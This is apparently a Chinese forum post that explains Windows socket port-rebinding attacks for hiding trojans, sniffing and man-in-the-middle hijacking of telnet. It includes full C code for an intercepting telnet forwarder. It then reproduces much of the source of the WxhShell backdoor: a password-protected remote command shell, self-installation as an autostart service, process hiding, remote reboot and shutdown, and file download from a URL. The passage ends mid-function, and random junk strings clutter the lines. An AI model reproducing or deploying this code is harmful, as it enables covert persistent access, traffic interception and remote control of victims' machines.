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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J]q%gcM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1?| f lK  
8P"_#M?!  
  saddr.sin_family = AF_INET; h68]=KyK  
.58qL-iC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4WE6fJ2X  
m\ddp_l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;L,mBQB?0b  
fPrLM'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [p2H=  
{&"L~>/o  
  这意味着什么?意味着可以进行如下的攻击: (I@rLvZr{  
eQVZO>)P1+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iC*F  
[xT:]Pw}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EZYBeqv  
9 Rx s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0d3+0EN{  
5r?m&28X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NuYkz"O]  
1]}#)-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y2O"]phi@  
8HZs>l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lhi_6&&[8  
;r6jx"i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t w(JZDc  
[2dn\z28  
  #include HFqm6|  
  #include meCC?YAB  
  #include W,K%c=  
  #include    vBsP+K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #BQ.R,  
  int main() $z$u{  
  { 4]/7 )x?R  
  WORD wVersionRequested; p2N:;lXM  
  DWORD ret; Ed:eGm }  
  WSADATA wsaData; 0x9x@gF  
  BOOL val; 5BR2?hO4  
  SOCKADDR_IN saddr; wP57Pf0  
  SOCKADDR_IN scaddr; [j"9rO" +  
  int err; @&"Pci+-|  
  SOCKET s; jM&r{^(  
  SOCKET sc; E( h<$w8s  
  int caddsize; TI !a)X  
  HANDLE mt; |TE}`?y[g  
  DWORD tid;   ~h"/Tce  
  wVersionRequested = MAKEWORD( 2, 2 ); 8`b`QtGf  
  err = WSAStartup( wVersionRequested, &wsaData ); .7 asW(  
  if ( err != 0 ) { *c)uGz'cD  
  printf("error!WSAStartup failed!\n"); /1 RAAa  
  return -1; -!)xQvagD.  
  } x)UwV  
  saddr.sin_family = AF_INET; &h~Xq^  
   4HAp{a1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ||zb6|7I4  
h!#:$|Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J|3E-p\o  
  saddr.sin_port = htons(23); qClHP)<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HK~xOAF  
  { vfNAs>Xg"  
  printf("error!socket failed!\n"); UYA_jpIP  
  return -1; @VN&t:/l  
  } @Eb2k!T  
  val = TRUE; Q`#4W3-,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2Sq_Tw3^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j Y6MjZI  
  { cD4 kC>P*  
  printf("error!setsockopt failed!\n"); TM8 =U-A  
  return -1; huudBc A[  
  } m>}8'N)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /cK%n4l.y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SSBg?H'T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JxjI]SF02  
" v}pdUW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xvNo(>  
  { f/kI| Z  
  ret=GetLastError(); \*\R1_+  
  printf("error!bind failed!\n"); 5/QRL\  
  return -1; cE iu)2*e  
  } ?k[p<Uo  
  listen(s,2); 3M0+"l(X  
  while(1) ez3Z3t`  
  { Ke-)vPc  
  caddsize = sizeof(scaddr); Wy]^Ub gW  
  //接受连接请求 4gSH(*}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b.O9ITR  
  if(sc!=INVALID_SOCKET) [~\PQYm'  
  { CU:o*;jP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L&-hXGx=7  
  if(mt==NULL) =o p%8NJf  
  { ^Cv^yTj;&  
  printf("Thread Creat Failed!\n"); #&8}<8V  
  break;  ySbqnw'  
  } 39 Y(!q  
  } @>x pYV  
  CloseHandle(mt); zNSu  
  } -;;Z 'NM;8  
  closesocket(s); i{^Z1;Yl  
  WSACleanup(); ^O^:$nXhYy  
  return 0; l$*=<tV  
  }   Q{QYBh&  
  DWORD WINAPI ClientThread(LPVOID lpParam) I NSkgOo  
  { rg_Q"g  
  SOCKET ss = (SOCKET)lpParam; "Dy'Kd%,%/  
  SOCKET sc; Z.i{i^/#(  
  unsigned char buf[4096]; `N/RHb%  
  SOCKADDR_IN saddr; 6+K_Z\  
  long num; 1\L[i];L8  
  DWORD val; (x;g/!:  
  DWORD ret; mgZf3?,)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~^)^q8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `A/j1UWJ  
  saddr.sin_family = AF_INET; wzjU,Mw e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /cFzotr"9  
  saddr.sin_port = htons(23); ]+DI.%   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .w6eJ4 ]  
  { 4*Z6}"  
  printf("error!socket failed!\n"); uqyB5V0gh  
  return -1; "k$JP  
  } d h^^G^  
  val = 100; iO1nwl !#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aH_6s4+:  
  { N"[B=fU}  
  ret = GetLastError(); +~sd"v6  
  return -1; I-NN29Sk  
  } V+wH?H=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E{Pgf8  
  { !.5),2  
  ret = GetLastError(); lz | 64J  
  return -1; }iBC@`mg(  
  } c:M$m3Cs?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 02JL*  
  { vOI[Z0Lq9h  
  printf("error!socket connect failed!\n"); N?4q  
  closesocket(sc); RAs0]K  
  closesocket(ss); C.!_]Pxs  
  return -1; ALd;$fd qf  
  } Fs/?  
  while(1) oh#N 0 0X  
  { &ogt2<1W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]"fsW 9s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &B{8uge1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |`yZIY_  
  num = recv(ss,buf,4096,0); +$z]w(lbT  
  if(num>0) t@bt6J .{  
  send(sc,buf,num,0); !$XHQLqF2  
  else if(num==0) &[|VZ[  
  break; 3mt%!}S  
  num = recv(sc,buf,4096,0); 6\d X  
  if(num>0) T9y;OG  
  send(ss,buf,num,0); ZX`J8lZP  
  else if(num==0) ~KIDv;HSb[  
  break; jkrx]`A{~  
  } z xZtz  
  closesocket(ss); zz$q5[n  
  closesocket(sc); &;q<M_<  
  return 0 ; NSLVD[yT  
  } `m%dX'0 E  
GSVdb/+  
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========================================================== {M~lbU  
V`a+Hi<P\  
下边附上一个代码,,WXhSHELL 2C+(":=}  
U_z2J(e~  
========================================================== T>]sQPg  
0^!Gib  
#include "stdafx.h" hY \{|  
p_terD:  
#include <stdio.h> J0<p4%Cf  
#include <string.h> f5dR 5G  
#include <windows.h> l`n5~Fs  
#include <winsock2.h> ]= x 1`j  
#include <winsvc.h> q7]>i!A  
#include <urlmon.h> Re:T9K'e  
?KN:r E  
#pragma comment (lib, "Ws2_32.lib") 0~E 6QhV:  
#pragma comment (lib, "urlmon.lib") ij)Cm]4(2  
U1m\\<,  
#define MAX_USER   100 // 最大客户端连接数 ?s{C//  
#define BUF_SOCK   200 // sock buffer X}JWf<=q  
#define KEY_BUFF   255 // 输入 buffer r:l96^xs  
Q^h5">P  
#define REBOOT     0   // 重启 mb\t/p  
#define SHUTDOWN   1   // 关机 XdIah<F2  
JAb$M{t  
#define DEF_PORT   5000 // 监听端口 >2-F2E,  
Z^6#4Q]YC  
#define REG_LEN     16   // 注册表键长度 CUhV$A#oo  
#define SVC_LEN     80   // NT服务名长度 *=nO  
j]> uZalr  
// 从dll定义API d?Y-;-|8Qh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P\B3 y+)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LdTIR]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,?b78_,2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /mbCP>bcG  
N=ifIVc  
// wxhshell配置信息 j=3-Qk`"/|  
struct WSCFG { Jh2Wr!5  
  int ws_port;         // 监听端口 C-#.RI7  
  char ws_passstr[REG_LEN]; // 口令 ?eWJa  
  int ws_autoins;       // 安装标记, 1=yes 0=no C6k4g75U2  
  char ws_regname[REG_LEN]; // 注册表键名 yz)ESQ~va  
  char ws_svcname[REG_LEN]; // 服务名 &6"P7X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (:}<xxl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zHFTCL>"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wvr+y!F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ol cP(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4]BJ0+|mT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  nP_=GI  
p?Sl}A@`  
}; Zc\S$+PM  
,olwwv_8G  
// default Wxhshell configuration G' Hh{_:  
struct WSCFG wscfg={DEF_PORT, u6_jnZGB  
    "xuhuanlingzhe", ~zMKVM1Q.,  
    1, @ M[Q$:  
    "Wxhshell", PNmF}"  
    "Wxhshell", r{"uv=,`  
            "WxhShell Service", .Vh*Z<9S4  
    "Wrsky Windows CmdShell Service", |3@=CE7G  
    "Please Input Your Password: ", i[=C_+2  
  1, FGVb@=TO>  
  "http://www.wrsky.com/wxhshell.exe", u5E/m  
  "Wxhshell.exe" XtW_  
    }; 2v^lD('  
YC)hX'A\  
// 消息定义模块 a!u3 HS-i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R~c1)[[E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [:pl-_.C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DcU C,  
char *msg_ws_ext="\n\rExit."; Q&wYc{TUbm  
char *msg_ws_end="\n\rQuit."; +u#Sl)F  
char *msg_ws_boot="\n\rReboot..."; `@\^m_!}  
char *msg_ws_poff="\n\rShutdown..."; cs5ix"1A  
char *msg_ws_down="\n\rSave to "; 8nu> gA  
hT=f;6$  
char *msg_ws_err="\n\rErr!"; ^Jtl;Q  
char *msg_ws_ok="\n\rOK!"; RIo'X@zb  
00qZw?%K  
char ExeFile[MAX_PATH]; bA+[{  
int nUser = 0; V85.DK!  
HANDLE handles[MAX_USER]; *.dKR  
int OsIsNt; (,TH~("{  
| XLFV  
SERVICE_STATUS       serviceStatus; |UZOAGiBg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |KaR n;BM  
Qi|?d7k0  
// 函数声明 vTcZ8|3e  
int Install(void); &?}1AQAYg  
int Uninstall(void);  V.fp/jhj  
int DownloadFile(char *sURL, SOCKET wsh); @ay|]w  
int Boot(int flag); P8]ORQ6 ZF  
void HideProc(void); 7<4xtK`+b  
int GetOsVer(void); [iXi\Ex  
int Wxhshell(SOCKET wsl); 4g'}h`kh  
void TalkWithClient(void *cs); TMtI^mkB:  
int CmdShell(SOCKET sock); LO}z)j~W  
int StartFromService(void); s?+fPOF  
int StartWxhshell(LPSTR lpCmdLine); '{W3j^m7  
cP('@K=p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J;HkTT   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .]zw*t*  
|Ib.)  
// 数据结构和表定义 h;}ODK(.  
SERVICE_TABLE_ENTRY DispatchTable[] = l}+Cdy9>  
{ 5])8qb/F  
{wscfg.ws_svcname, NTServiceMain}, *sAOpf@M  
{NULL, NULL} ytob/tc  
}; \086O9  
k?n]ZNlT  
// 自我安装 8iOO1I?+  
int Install(void) VB's  
{ y\z*p&I  
  char svExeFile[MAX_PATH]; u:eW0Ows"  
  HKEY key; [^Q&suy  
  strcpy(svExeFile,ExeFile); [DL|Ht>  
tUrNp~ve,  
// 如果是win9x系统,修改注册表设为自启动 ?0m?7{  
if(!OsIsNt) { 79a9L{gso  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n8Q* _?Z/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p*!q}%U  
  RegCloseKey(key); >Ban?3{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l)%mqW%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T&!ZD2I  
  RegCloseKey(key); M.t@@wq  
  return 0; .c|9..Cq=  
    } OU6^+Ta  
  } 2\ ,e  
} AO^]>/7ed  
else { oM2|]ew)  
*n;>p_#  
// 如果是NT以上系统,安装为系统服务 ` )]lUvR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +L n M\n  
if (schSCManager!=0) m.Twgin  
{ %L28$c3p  
  SC_HANDLE schService = CreateService 4"z;CGE7  
  ( r /^'Xj'(  
  schSCManager, `{%-*f^  
  wscfg.ws_svcname, h2AGEg'g2[  
  wscfg.ws_svcdisp, 2>ys2:z  
  SERVICE_ALL_ACCESS, #*\Ry/9Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {dDq*sLf  
  SERVICE_AUTO_START, u9 %;{:]h  
  SERVICE_ERROR_NORMAL, # UjEY9"M  
  svExeFile, kO jEY  
  NULL, +fPNen4E  
  NULL, NuI T{3S  
  NULL, eC.w?(RB  
  NULL, i>WOYI9  
  NULL 0}6QO  
  ); J/L)3y   
  if (schService!=0) +&(J n  
  { <Ak:8&$O  
  CloseServiceHandle(schService); 6(,ItMbI  
  CloseServiceHandle(schSCManager); N:twq&[Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oO8]lHS?@  
  strcat(svExeFile,wscfg.ws_svcname); Z0{f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oy`3r5g   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {a[&#Uv  
  RegCloseKey(key); ?{?Vy9'B  
  return 0; d8D yv#gT  
    } /(y4V  
  } _d/GdeLs  
  CloseServiceHandle(schSCManager); rtcJ=`)0`  
} uF+);ig  
} m\l51}xz  
%C6|-?TAd  
return 1; \f6lT3"VN  
} i'U,S`L6>  
4$ ..r4@  
// 自我卸载 1V#0\1sj  
int Uninstall(void) %f_FGh  
{ tP&{ J^G  
  HKEY key; 7 FEzak'  
)iT.A  
if(!OsIsNt) { )~1.<((<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nR(#F9  
  RegDeleteValue(key,wscfg.ws_regname); mi*:S%;h  
  RegCloseKey(key); XSD"/_xD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fp wlV}:  
  RegDeleteValue(key,wscfg.ws_regname); [SKP|`I>I  
  RegCloseKey(key); $_ST:h&C  
  return 0; "vv$%^  
  } '\Qf,%%.  
} @ysJt  
} ;|Y2r^c  
else { 22l|!B%o  
2=i+L z^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jn0t-":  
if (schSCManager!=0) I:r($m  
{ kt;}]O2%R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s4^[3|Zrr0  
  if (schService!=0) c& 9+/JYMo  
  { [3Wsc`Q  
  if(DeleteService(schService)!=0) { K!pxDW}  
  CloseServiceHandle(schService); ~vO'p  
  CloseServiceHandle(schSCManager); ZJ;wRd@  
  return 0; -HO6K) ur  
  } L%TxP6z4A  
  CloseServiceHandle(schService); pyu46iE)  
  } se4w~\/  
  CloseServiceHandle(schSCManager); F! |TW6)gv  
} I|Vk.,  
} N )b|  
at_dmU2[7  
return 1; <|mE9u  
} ,e}mR>i=e  
*?EjYI  
// 从指定url下载文件 fx8y`8}_  
int DownloadFile(char *sURL, SOCKET wsh) ZE5-i@1  
{ s^{{@O.  
  HRESULT hr; 3Yn:fsy  
char seps[]= "/"; DW'0j$;  
char *token; "~ .8eKRQ  
char *file; (:tTx>V#  
char myURL[MAX_PATH]; I^rZgp<'i  
char myFILE[MAX_PATH]; 6)tB{:h&~0  
YzforM^F  
strcpy(myURL,sURL); (ouRf;\6$8  
  token=strtok(myURL,seps); %!N2!IiVs  
  while(token!=NULL) iKR8^sj7S  
  { g_-?h&W  
    file=token; H24ate?t,  
  token=strtok(NULL,seps); @g@ fL%  
  } _47j9m]f  
r"Hbr Qn  
GetCurrentDirectory(MAX_PATH,myFILE); X^?|Sz<^E  
strcat(myFILE, "\\"); 7]<F>97  
strcat(myFILE, file); d()zW7}W  
  send(wsh,myFILE,strlen(myFILE),0); =R"Eb1  
send(wsh,"...",3,0); S)Ub/`f{s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b |o`Q7Hj  
  if(hr==S_OK) yg-L^`t+B5  
return 0; %zIl_/s  
else S'v V"  
return 1; y \mutm  
a:(: :m  
} "(HA9:  
LZZ:P  
// 系统电源模块 y~4SKv $  
int Boot(int flag) ebl)6C  
{ q.u[g0h;  
  HANDLE hToken; YU ]G5\UU  
  TOKEN_PRIVILEGES tkp; UIm[DYMS  
(}/.4xE  
  if(OsIsNt) { o|p;6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KV) Hywl`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mTI\,x%<OC  
    tkp.PrivilegeCount = 1; $)kBz*C[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H L}sqcp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 76u/WC>B  
if(flag==REBOOT) { Bsih<`KF^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S1x.pLHj8  
  return 0; =0!\F~  
} X+'^ Sp  
else { TCEXa?,L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b}}1TnS)  
  return 0; ^R8U-V8:  
} ~_# Y,)S!z  
  } d =B@EyN  
  else { J;Z>fAE7  
if(flag==REBOOT) { yccuTQvz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wzf1-0t  
  return 0; f3%^-Uy*b  
} U||w6:W5  
else { 7am/X.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >TQBRA;'  
  return 0; 9$\;voo  
} &ttv4BC^r  
} 6iV"Tl{z-  
9wYtOQ{g  
return 1; JtrDZ;^@  
} c|!A?>O?i  
zvK5Zxl  
// win9x进程隐藏模块 8KL_PwRX_f  
void HideProc(void) +{=_|3(  
{ \+evZ{Pu  
H2FFw-xW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6Qzu-  
  if ( hKernel != NULL ) -'p@ lk  
  { gw&#X~em  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r PRuSk-f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *n|0\V<  
    FreeLibrary(hKernel); tci%=3,)  
  } HC;I0&v>  
kT } '"  
return; u8k{N  
} 5{d9,$%8&  
,Dii?P  
// 获取操作系统版本 :(?hLH.W[  
int GetOsVer(void) rO?x/{;ai  
{ $b i_i|?  
  OSVERSIONINFO winfo; D @4&@>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~b6<uRnM.  
  GetVersionEx(&winfo); ,p/b$d1p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !$KhL.4P  
  return 1; Mn }Z9S[  
  else ("J V:u.L+  
  return 0; 1J{z}yPHc  
} U)I `:J+A  
1f pS"_}  
// 客户端句柄模块 4gkV]" H!  
int Wxhshell(SOCKET wsl) #Wc #fP  
{ Wru  Fp  
  SOCKET wsh; ?m_RU  
  struct sockaddr_in client; c!u}KVH  
  DWORD myID; iP? ASqo{  
5q_OuZ/6  
  while(nUser<MAX_USER) Uh|__DUkh  
{ r)#"$Sm  
  int nSize=sizeof(client); )`+@j.75  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @aV~.!!  
  if(wsh==INVALID_SOCKET) return 1; Vg,>7?]6h  
q V UUuyF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wq_oh*"  
if(handles[nUser]==0) WO(&<(?  
  closesocket(wsh); C"Y]W-Mgg  
else xjhAAM  
  nUser++; W6xjqNU  
  } #L IsL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k'I_,Z<,  
% 6hw  
  return 0; Y7t{4P  
} hte9l)  
c>i*HN}Z|  
// 关闭 socket o? O,nD 6  
void CloseIt(SOCKET wsh) *"QE1Fum'  
{ } @fu~V/  
closesocket(wsh); k-ex<el)#  
nUser--; ,fG_'3wb  
ExitThread(0); `w=H'"Zv  
} jme5'FR  
vsz^B :j  
// 客户端请求句柄 Nb!6YY=Ez-  
void TalkWithClient(void *cs) #HuA(``[d  
{ |^k1hX2?W  
\;:@=9`  
  SOCKET wsh=(SOCKET)cs; HFx"fT  
  char pwd[SVC_LEN]; vwH7/+  
  char cmd[KEY_BUFF]; .q9|XDqQc  
char chr[1]; $E,DxDT  
int i,j; ic]tUOC:  
:0j`yo:w  
  while (nUser < MAX_USER) { //5_E7Ehu$  
w$;*~Qc  
if(wscfg.ws_passstr) { r=H\4%P4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2au(8IWu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L%O8vn^3  
  //ZeroMemory(pwd,KEY_BUFF); Fx99"3`3  
      i=0; n25tr'=  
  while(i<SVC_LEN) { JX0_UU  
9"lW"lG!  
  // 设置超时 i[\u-TF  
  fd_set FdRead; S@G{|.)2  
  struct timeval TimeOut; U8$dG)PhA  
  FD_ZERO(&FdRead); k mr 4cU5  
  FD_SET(wsh,&FdRead); No&[ \;  
  TimeOut.tv_sec=8; ApJf4D<V  
  TimeOut.tv_usec=0; ecZOX$'5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E,"btBg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MirBJL  
8Gg/M%wq9U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZUJOBjb` K  
  pwd=chr[0]; c2mt<DtWW  
  if(chr[0]==0xd || chr[0]==0xa) { Ru')X{]25  
  pwd=0; )zt4'b\)v  
  break; RrpF i'R  
  } "sx&8H"  
  i++; HeifFJn  
    } Y9L6W+=T  
N_k6UA9  
  // 如果是非法用户,关闭 socket UR2)e{RXg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A^@<+?  
} L.:QI<n  
_%TeTNY#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EEZ2Gu6c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )9jQ_  
/ lM~K:  
while(1) { (<JDD]J  
:Fd9N).%  
  ZeroMemory(cmd,KEY_BUFF); h}&IlDG  
N_Ld,J%g  
      // 自动支持客户端 telnet标准   OwIy(ukTI  
  j=0; N~J Eia%  
  while(j<KEY_BUFF) { 8si^HEQ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~[y+B0I3  
  cmd[j]=chr[0];  de47O  
  if(chr[0]==0xa || chr[0]==0xd) { Hf{%N'4  
  cmd[j]=0; ^|{fB,B  
  break; \` ^Tbn:  
  } T|2%b*/  
  j++; V@'S#K#  
    } "[S 6w  
gbf=H8]  
  // 下载文件 LhRe?U\  
  if(strstr(cmd,"http://")) { *+Q*&-$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l{o{=]x1  
  if(DownloadFile(cmd,wsh)) ykhCt\t[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SY)$2RC+}  
  else [gp:nxyfQm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y]4 `d  
  }  ly%B!P|  
  else { i O|,,;_  
rg/vxTl  
    switch(cmd[0]) { azc:C  
  Hbc&.W;g7[  
  // 帮助 7O^ S.(  
  case '?': { Bic { H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X hX'*{3k  
    break; k K|+W,  
  } !*UdY(  
  // 安装 yP4.Z9  
  case 'i': { \U>Kn_7m  
    if(Install()) '\\Cpc_g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  PuCA @qY  
    else 8~#Q *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =T}uQ$X  
    break; J4#]8!A  
    } xumv I{  
  // 卸载  " 1Aus  
  case 'r': { 8mLU ~P |  
    if(Uninstall()) wT yM9wz&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3oP^#  
    else :?k=Yr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mJR T+SZ  
    break; #'h CohL  
    } }?kO<)d  
  // 显示 wxhshell 所在路径 q:sR zX  
  case 'p': { Vp{2Z9]}  
    char svExeFile[MAX_PATH]; " <a|Q,!  
    strcpy(svExeFile,"\n\r"); Yb{t!KL  
      strcat(svExeFile,ExeFile); &ru0i@?)  
        send(wsh,svExeFile,strlen(svExeFile),0); 695ppiKU  
    break; nW'x#0-  
    } _u2  
  // 重启 S]/ +n>  
  case 'b': { D07u?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *S_Iza #&x  
    if(Boot(REBOOT)) y<d#sv(s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c (8J  
    else { J3+8s [oJ>  
    closesocket(wsh); P< x  
    ExitThread(0); <U pjAuG8  
    } }h6z&:qA[?  
    break; Y g?{x@  
    } yo?Q%w'Nh  
  // 关机 Ps\^OJR  
  case 'd': { ,0~TvJS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CHI(\DXNs  
    if(Boot(SHUTDOWN)) 4HE4e  
